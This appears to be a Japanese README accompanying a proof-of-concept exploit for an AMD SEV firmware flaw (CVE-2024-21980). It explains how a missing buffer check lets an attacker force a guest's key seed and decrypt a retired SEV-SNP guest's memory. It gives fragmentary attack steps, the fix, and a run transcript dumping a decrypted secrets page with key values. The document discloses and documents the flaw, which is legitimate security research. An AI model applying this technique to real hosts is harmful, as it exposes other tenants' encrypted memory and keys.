
CVE-2024-21980 向けのエクスプロイト。AMD SEV ファームウェアを標的とし、コマンドバッファ強制バイパスを介して退役した SEV-SNP ゲストの任意のメモリを復号する。
このリポジトリには、SEV ファームウェアの脆弱性を悪用するエクスプロイトが含まれています。このエクスプロイトにより、廃止された SEV-SNP ゲストの任意のメモリを復号化できます。
バージョン 1.55.16 (執筆時点での最新) でテスト済み。
SEV ファームウェアには、master_handler_table と呼ばれるテーブルがあり、すべてのコマンドの関数ポインタと、コマンドに関連するいくつかの追加プロパティが含まれています。これらの追加プロパティのうち2つは、cmd_buf_type と snp_cmd_buf_enforcement です。cmd_buf_type は、コマンドバッファをホストメモリにコピーするか、ホストメモリからコピーするかを決定します。snp_cmd_buf_enforcement は、これらのコピー操作が、コマンドバッファをバックアップするメモリが FIRMWARE 状態または DEFAULT 状態であることを検証するチェックの対象となるべきかどうかを決定します。cmd_buf_type が CMD_BUF_OUTPUT_ONLY、CMD_BUF_INPUT_AND_OUTPUT、または CMD_BUF_INPUT_AND_OUTPUT_ERROR のいずれかであるコマンドは、すべて snp_cmd_buf_enforcement を true に設定する必要があります。そうしないと、コマンド出力の書き戻しにより、RMP でカバーされた領域内でメモリ破損が発生する可能性があります。snp_cmd_buf_enforcement は、1つの例外を除いて、そのようなすべてのコマンドで true です - SEV_MCMD_ID_ATTESTATION: このコマンドは cmd_buf_type が CMD_BUF_INPUT_AND_OUTPUT_ERROR に設定されていますが、snp_cmd_buf_enforcement は false に設定されています。その結果、RMP でカバーされたメモリを指すコマンドバッファで SEV_MCMD_ID_ATTESTATION を実行し、出力が書き戻されるとそのメモリが破損する可能性があります。
なぜ SEV_MCMD_ID_ATTESTATION が例外である必要があるのかはわかりません。これはタイプミスやコピーペーストの誤りである可能性が高いと思われます。
SEV_MCMD_ID_ATTESTATION は、コマンドバッファ内の単一のフィールド length (4 バイト) のみに書き込むため、メモリ破損に使用できるのはこれらのバイトのみです。SEV_MCMD_ID_ATTESTATION は常に同じ値 0x000000d0 を書き込みます。幸いなことに、コマンドバッファにはアライメント要件がないため、コマンドバッファを繰り返しシフトして、より広い範囲の連続したメモリを破損できます。これを使用して、ゲストコンテキストページの最初の 16 バイトを静的なパターンで破損します。これらの最初の 16 バイトには UMC キーシードが含まれているため、それを静的な値に強制することで、ゲストの暗号化キーを静的な値に強制できます。
ここで提供されるエクスプロイトは、SWPSIRT-2684/CVE-2023-31355 用に提供したものに大きく基づいています。
脆弱性を悪用するには、次の手順を実行できます。
SEV_MCMD_ID_ATTESTATION に必要です。このゲストを実行したままにします。0x2000 にゲストコンテキストページを作成します。RMP でカバーされた領域内の他のアドレスでも構いませんが、固定アドレスはデバッグに便利です。0x2000 にゲストコンテキストページを作成します。これは手順 1 で使用したアドレスと同じである必要があります。SNP_DBG_ENCRYPT コマンドを使用して、攻撃者ゲストのコンテキストページを使用して被害者ゲストのメモリを復号化します。被害者ゲストと攻撃者ゲストが UMC キーシードを共有しているため、これは成功します。ここでの影響は、少なくとも SWPSIRT-2684 と同じであるはずです。現時点では、このバグを使用して、廃止される前の実行中のゲストのメモリを復号化できるかどうかは不明です。
SEV_MCMD_ID_ATTESTATION に対して snp_cmd_buf_enforcement を true に設定する必要があります。
興味深いことに、Linux KVM ホストサポートパッチは更新の必要がありません。なぜなら、それらは既に SEV_CMD_ATTESTATION_REPORT を、そのコマンドバッファが FIRMWARE 状態であることを必要とするコマンドとして sev_cmd_buf_writable にリストしているからです。他のハイパーバイザーでは変更が必要な場合と不要な場合があります。
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200
シークレットページには特別な点はなく、このエクスプロイトは通常のページの復号化にも使用できることに注意してください。PoC ではシークレットページが使用されています。これは、非常に認識しやすいコンテンツを持っているため、被害者メモリの復号化が成功したことを簡単に確認できるからです。